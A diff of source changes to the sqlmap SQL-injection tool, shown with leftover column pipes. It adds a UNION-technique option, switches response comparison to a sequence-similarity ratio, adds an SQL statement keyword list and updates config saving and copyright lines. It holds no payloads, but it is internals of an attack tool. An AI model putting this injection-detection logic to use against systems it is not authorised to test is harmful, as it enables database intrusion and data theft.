from ConfigParser import ConfigParser
|
||||||
|
|
||||||
from lib.core.common import parseTargetUrl
|
from lib.core.common import parseTargetUrl
|
||||||
from lib.core.common import paths
|
from lib.core.common import paths
|
||||||
from lib.core.common import randomRange
|
from lib.core.common import randomRange
|
||||||
@@ -238,6 +241,28 @@ def __setGoogleDorking():
|
|||||||
raise sqlmapGenericException, errMsg
|
raise sqlmapGenericException, errMsg
|
||||||
|
|
||||||
|
|
||||||
|
def __setUnionTech():
|
||||||
|
if conf.uTech == None:
|
||||||
|
conf.uTech = "NULL"
|
||||||
|
|
||||||
|
return
|
||||||
|
|
||||||
|
uTechOriginal = conf.uTech
|
||||||
|
conf.uTech = conf.uTech.lower()
|
||||||
|
|
||||||
|
if conf.uTech and conf.uTech not in ( "null", "orderby" ):
|
||||||
|
infoMsg = "resetting the UNION query detection technique to "
|
||||||
|
infoMsg += "'NULL', '%s' is not a valid technique" % uTechOriginal
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
conf.uTech = "NULL"
|
||||||
|
|
||||||
|
else:
|
||||||
|
debugMsg = "setting UNION query detection technique to "
|
||||||
|
debugMsg += "'%s'" % uTechOriginal
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
|
||||||
def __setDBMS():
|
def __setDBMS():
|
||||||
"""
|
"""
|
||||||
Force the back-end DBMS option.
|
Force the back-end DBMS option.
|
||||||
@@ -522,7 +547,7 @@ def __setHTTPTimeout():
|
|||||||
|
|
||||||
conf.timeout = 3.0
|
conf.timeout = 3.0
|
||||||
else:
|
else:
|
||||||
conf.timeout = 10.0
|
conf.timeout = 30.0
|
||||||
|
|
||||||
socket.setdefaulttimeout(conf.timeout)
|
socket.setdefaulttimeout(conf.timeout)
|
||||||
|
|
||||||
@@ -570,10 +595,8 @@ def __setConfAttributes():
|
|||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
conf.cj = None
|
conf.cj = None
|
||||||
conf.contentLengths = []
|
|
||||||
conf.dbmsHandler = None
|
conf.dbmsHandler = None
|
||||||
conf.dumpPath = None
|
conf.dumpPath = None
|
||||||
conf.equalLines = []
|
|
||||||
conf.httpHeaders = []
|
conf.httpHeaders = []
|
||||||
conf.hostname = None
|
conf.hostname = None
|
||||||
conf.loggedToOut = None
|
conf.loggedToOut = None
|
||||||
@@ -586,6 +609,8 @@ def __setConfAttributes():
|
|||||||
conf.port = None
|
conf.port = None
|
||||||
conf.retries = 0
|
conf.retries = 0
|
||||||
conf.scheme = None
|
conf.scheme = None
|
||||||
|
#conf.seqMatcher = difflib.SequenceMatcher(lambda x: x in " \t")
|
||||||
|
conf.seqMatcher = difflib.SequenceMatcher(None)
|
||||||
conf.sessionFP = None
|
conf.sessionFP = None
|
||||||
conf.start = True
|
conf.start = True
|
||||||
conf.threadException = False
|
conf.threadException = False
|
||||||
@@ -601,7 +626,6 @@ def __setKnowledgeBaseAttributes():
|
|||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
kb.absFilePaths = set()
|
kb.absFilePaths = set()
|
||||||
kb.defaultResult = None
|
|
||||||
kb.docRoot = None
|
kb.docRoot = None
|
||||||
kb.dbms = None
|
kb.dbms = None
|
||||||
kb.dbmsDetected = False
|
kb.dbmsDetected = False
|
||||||
@@ -635,6 +659,7 @@ def __saveCmdline():
|
|||||||
debugMsg = "saving command line options on a sqlmap configuration INI file"
|
debugMsg = "saving command line options on a sqlmap configuration INI file"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
config = ConfigParser()
|
||||||
userOpts = {}
|
userOpts = {}
|
||||||
|
|
||||||
for family in optDict.keys():
|
for family in optDict.keys():
|
||||||
@@ -645,10 +670,8 @@ def __saveCmdline():
|
|||||||
if option in optionData:
|
if option in optionData:
|
||||||
userOpts[family].append((option, value, optionData[option]))
|
userOpts[family].append((option, value, optionData[option]))
|
||||||
|
|
||||||
confFP = open(paths.SQLMAP_CONFIG, "w")
|
|
||||||
|
|
||||||
for family, optionData in userOpts.items():
|
for family, optionData in userOpts.items():
|
||||||
confFP.write("[%s]\n" % family)
|
config.add_section(family)
|
||||||
|
|
||||||
optionData.sort()
|
optionData.sort()
|
||||||
|
|
||||||
@@ -669,12 +692,10 @@ def __saveCmdline():
|
|||||||
if isinstance(value, str):
|
if isinstance(value, str):
|
||||||
value = value.replace("\n", "\n ")
|
value = value.replace("\n", "\n ")
|
||||||
|
|
||||||
confFP.write("%s = %s\n" % (option, value))
|
config.set(family, option, value)
|
||||||
|
|
||||||
confFP.write("\n")
|
confFP = open(paths.SQLMAP_CONFIG, "wb")
|
||||||
|
config.write(confFP)
|
||||||
confFP.flush()
|
|
||||||
confFP.close()
|
|
||||||
|
|
||||||
infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG
|
infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -741,6 +762,7 @@ def init(inputOptions=advancedDict()):
|
|||||||
__setHTTPProxy()
|
__setHTTPProxy()
|
||||||
__setThreads()
|
__setThreads()
|
||||||
__setDBMS()
|
__setDBMS()
|
||||||
|
__setUnionTech()
|
||||||
__setGoogleDorking()
|
__setGoogleDorking()
|
||||||
__setMultipleTargets()
|
__setMultipleTargets()
|
||||||
__urllib2Opener()
|
__urllib2Opener()
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
@@ -63,6 +63,7 @@ optDict = {
|
|||||||
"stackedTest": "boolean",
|
"stackedTest": "boolean",
|
||||||
"timeTest": "boolean",
|
"timeTest": "boolean",
|
||||||
"unionTest": "boolean",
|
"unionTest": "boolean",
|
||||||
|
"uTech": "string",
|
||||||
"unionUse": "boolean",
|
"unionUse": "boolean",
|
||||||
},
|
},
|
||||||
|
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
@@ -129,6 +129,8 @@ def setDbms(dbms):
|
|||||||
|
|
||||||
kb.dbms = dbms
|
kb.dbms = dbms
|
||||||
|
|
||||||
|
logger.info("the back-end DBMS is %s" % kb.dbms)
|
||||||
|
|
||||||
|
|
||||||
def setUnion(comment=None, count=None, position=None):
|
def setUnion(comment=None, count=None, position=None):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
@@ -30,7 +30,7 @@ import sys
|
|||||||
|
|
||||||
|
|
||||||
# sqlmap version and site
|
# sqlmap version and site
|
||||||
VERSION = "0.6.3"
|
VERSION = "0.6.4"
|
||||||
VERSION_STRING = "sqlmap/%s" % VERSION
|
VERSION_STRING = "sqlmap/%s" % VERSION
|
||||||
SITE = "http://sqlmap.sourceforge.net"
|
SITE = "http://sqlmap.sourceforge.net"
|
||||||
|
|
||||||
@@ -68,3 +68,47 @@ SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIAS
|
|||||||
# TODO: port to command line/configuration file options?
|
# TODO: port to command line/configuration file options?
|
||||||
SECONDS = 5
|
SECONDS = 5
|
||||||
RETRIES = 3
|
RETRIES = 3
|
||||||
|
MATCH_RATIO = 0.9
|
||||||
|
|
||||||
|
SQL_STATEMENTS = {
|
||||||
|
"SQL SELECT statement": (
|
||||||
|
"select ",
|
||||||
|
" top ",
|
||||||
|
" from ",
|
||||||
|
" from dual",
|
||||||
|
" where ",
|
||||||
|
" group by ",
|
||||||
|
" order by ",
|
||||||
|
" having ",
|
||||||
|
" limit ",
|
||||||
|
" offset ",
|
||||||
|
" union all ",
|
||||||
|
" rownum as ",
|
||||||
|
"(case ", ),
|
||||||
|
|
||||||
|
"SQL data definition": (
|
||||||
|
"create ",
|
||||||
|
"drop ",
|
||||||
|
"truncate ",
|
||||||
|
"alter ", ),
|
||||||
|
|
||||||
|
"SQL data manipulation": (
|
||||||
|
"insert ",
|
||||||
|
"update ",
|
||||||
|
"delete ",
|
||||||
|
"merge ", ),
|
||||||
|
|
||||||
|
"SQL data control": (
|
||||||
|
"grant ", ),
|
||||||
|
|
||||||
|
"SQL data execution": (
|
||||||
|
"exec ",
|
||||||
|
"execute ", ),
|
||||||
|
|
||||||
|
"SQL transaction": (
|
||||||
|
"start transaction ",
|
||||||
|
"begin work ",
|
||||||
|
"begin transaction ",
|
||||||
|
"commit ",
|
||||||
|
"rollback ", ),
|
||||||
|
}
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
@@ -28,6 +28,7 @@ import difflib
|
|||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
import shutil
|
import shutil
|
||||||
|
import sys
|
||||||
import tempfile
|
import tempfile
|
||||||
import urlparse
|
import urlparse
|
||||||
import zipfile
|
import zipfile
|
||||||
@@ -188,13 +189,8 @@ def __updateMSSQLXML():
|
|||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
# Compare the old XML file with the new one
|
# Compare the old XML file with the new one
|
||||||
differ = difflib.Differ()
|
diff = difflib.unified_diff(oldMssqlXmlList, newMssqlXmlList, "%s.bak" % paths.MSSQL_XML, paths.MSSQL_XML)
|
||||||
differences = list(differ.compare(oldMssqlXmlList, newMssqlXmlList))
|
sys.stdout.writelines(diff)
|
||||||
|
|
||||||
# Show only the different lines
|
|
||||||
for line in differences:
|
|
||||||
if line.startswith("-") or line.startswith("+") or line.startswith("?"):
|
|
||||||
print line.strip("\n")
|
|
||||||
else:
|
else:
|
||||||
infoMsg = "no new Microsoft SQL Server versions since the "
|
infoMsg = "no new Microsoft SQL Server versions since the "
|
||||||
infoMsg += "last update"
|
infoMsg += "last update"
|
||||||
@@ -262,7 +258,7 @@ def __updateSqlmap():
|
|||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
elif sqlmapNewestVersion < VERSION:
|
elif sqlmapNewestVersion < VERSION:
|
||||||
infoMsg = "if you are running a version of sqlmap more updated than "
|
infoMsg = "you are running a version of sqlmap more updated than "
|
||||||
infoMsg += "the latest stable version (%s)" % sqlmapNewestVersion
|
infoMsg += "the latest stable version (%s)" % sqlmapNewestVersion
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
@@ -109,7 +109,7 @@ def cmdLineParser():
|
|||||||
|
|
||||||
request.add_option("--timeout", dest="timeout", type="float",
|
request.add_option("--timeout", dest="timeout", type="float",
|
||||||
help="Seconds to wait before timeout connection "
|
help="Seconds to wait before timeout connection "
|
||||||
"(default 10)")
|
"(default 30)")
|
||||||
|
|
||||||
|
|
||||||
# Injection options
|
# Injection options
|
||||||
@@ -163,12 +163,15 @@ def cmdLineParser():
|
|||||||
|
|
||||||
techniques.add_option("--time-test", dest="timeTest",
|
techniques.add_option("--time-test", dest="timeTest",
|
||||||
action="store_true",
|
action="store_true",
|
||||||
help="Test for Time based blind SQL injection")
|
help="Test for time based blind SQL injection")
|
||||||
|
|
||||||
techniques.add_option("--union-test", dest="unionTest",
|
techniques.add_option("--union-test", dest="unionTest",
|
||||||
action="store_true",
|
action="store_true",
|
||||||
help="Test for UNION query (inband) SQL injection")
|
help="Test for UNION query (inband) SQL injection")
|
||||||
|
|
||||||
|
techniques.add_option("--union-tech", dest="uTech",
|
||||||
|
help="Technique to test for UNION query SQL injection")
|
||||||
|
|
||||||
techniques.add_option("--union-use", dest="unionUse",
|
techniques.add_option("--union-use", dest="unionUse",
|
||||||
action="store_true",
|
action="store_true",
|
||||||
help="Use the UNION query (inband) SQL injection "
|
help="Use the UNION query (inband) SQL injection "
|
||||||
@@ -189,7 +192,7 @@ def cmdLineParser():
|
|||||||
"be used to enumerate the back-end database "
|
"be used to enumerate the back-end database "
|
||||||
"management system information, structure "
|
"management system information, structure "
|
||||||
"and data contained in the tables. Moreover "
|
"and data contained in the tables. Moreover "
|
||||||
"you can run your own SQL SELECT queries.")
|
"you can run your own SQL statements.")
|
||||||
|
|
||||||
enumeration.add_option("-b", "--banner", dest="getBanner",
|
enumeration.add_option("-b", "--banner", dest="getBanner",
|
||||||
action="store_true", help="Retrieve DBMS banner")
|
action="store_true", help="Retrieve DBMS banner")
|
||||||
@@ -258,7 +261,7 @@ def cmdLineParser():
|
|||||||
help="Last table entry to dump")
|
help="Last table entry to dump")
|
||||||
|
|
||||||
enumeration.add_option("--sql-query", dest="query",
|
enumeration.add_option("--sql-query", dest="query",
|
||||||
help="SQL SELECT query to be executed")
|
help="SQL statement to be executed")
|
||||||
|
|
||||||
enumeration.add_option("--sql-shell", dest="sqlShell",
|
enumeration.add_option("--sql-shell", dest="sqlShell",
|
||||||
action="store_true",
|
action="store_true",
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
@@ -107,6 +107,10 @@ class queriesHandler(ContentHandler):
|
|||||||
data = sanitizeStr(attrs.get("query"))
|
data = sanitizeStr(attrs.get("query"))
|
||||||
self.__queries.substring = data
|
self.__queries.substring = data
|
||||||
|
|
||||||
|
elif name == "case":
|
||||||
|
data = sanitizeStr(attrs.get("query"))
|
||||||
|
self.__queries.case = data
|
||||||
|
|
||||||
elif name == "inference":
|
elif name == "inference":
|
||||||
data = sanitizeStr(attrs.get("query"))
|
data = sanitizeStr(attrs.get("query"))
|
||||||
self.__queries.inference = data
|
self.__queries.inference = data
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
@@ -24,13 +24,13 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
import md5
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
|
from lib.core.settings import MATCH_RATIO
|
||||||
|
|
||||||
|
|
||||||
def comparison(page, headers=None, content=False):
|
def comparison(page, headers=None, getSeqMatcher=False):
|
||||||
regExpResults = None
|
regExpResults = None
|
||||||
|
|
||||||
# String to be excluded before calculating page hash
|
# String to be excluded before calculating page hash
|
||||||
@@ -67,40 +67,15 @@ def comparison(page, headers=None, content=False):
|
|||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# By default it returns the page content MD5 hash
|
# By default it returns sequence matcher between the first untouched
|
||||||
if not conf.equalLines and not conf.contentLengths:
|
# HTTP response page content and this content
|
||||||
return md5.new(page).hexdigest()
|
conf.seqMatcher.set_seq2(page)
|
||||||
|
|
||||||
# TODO: go ahead from here
|
if getSeqMatcher:
|
||||||
|
return round(conf.seqMatcher.ratio(), 3)
|
||||||
|
|
||||||
# Comparison algorithm based on Content-Length header value
|
elif round(conf.seqMatcher.ratio(), 3) >= MATCH_RATIO:
|
||||||
elif conf.contentLengths:
|
return True
|
||||||
minValue = conf.contentLengths[0] - 10
|
|
||||||
maxValue = conf.contentLengths[1] + 10
|
|
||||||
|
|
||||||
if len(page) >= minValue and len(page) <= maxValue:
|
else:
|
||||||
return True
|
return False
|
||||||
|
|
||||||
# Comparison algorithm based on page content's stable lines subset
|
|
||||||
elif conf.equalLines:
|
|
||||||
counter = 0
|
|
||||||
trueLines = 0
|
|
||||||
pageLines = page.split("\n")
|
|
||||||
|
|
||||||
for commonLine in conf.equalLines:
|
|
||||||
if counter >= len(pageLines):
|
|
||||||
break
|
|
||||||
|
|
||||||
if commonLine in pageLines:
|
|
||||||
trueLines += 1
|
|
||||||
|
|
||||||
counter += 1
|
|
||||||
|
|
||||||
# TODO: just debug prints
|
|
||||||
#print "trueLines:", trueLines, "len(conf.equalLines):", len(conf.equalLines)
|
|
||||||
#print "result:", ( trueLines * 100 ) / len(conf.equalLines)
|
|
||||||
|
|
||||||
if ( trueLines * 100 ) / len(conf.equalLines) >= 98:
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
return False
|
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
@@ -25,7 +25,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||||||
|
|
||||||
|
|
||||||
import httplib
|
import httplib
|
||||||
import md5
|
|
||||||
import re
|
import re
|
||||||
import socket
|
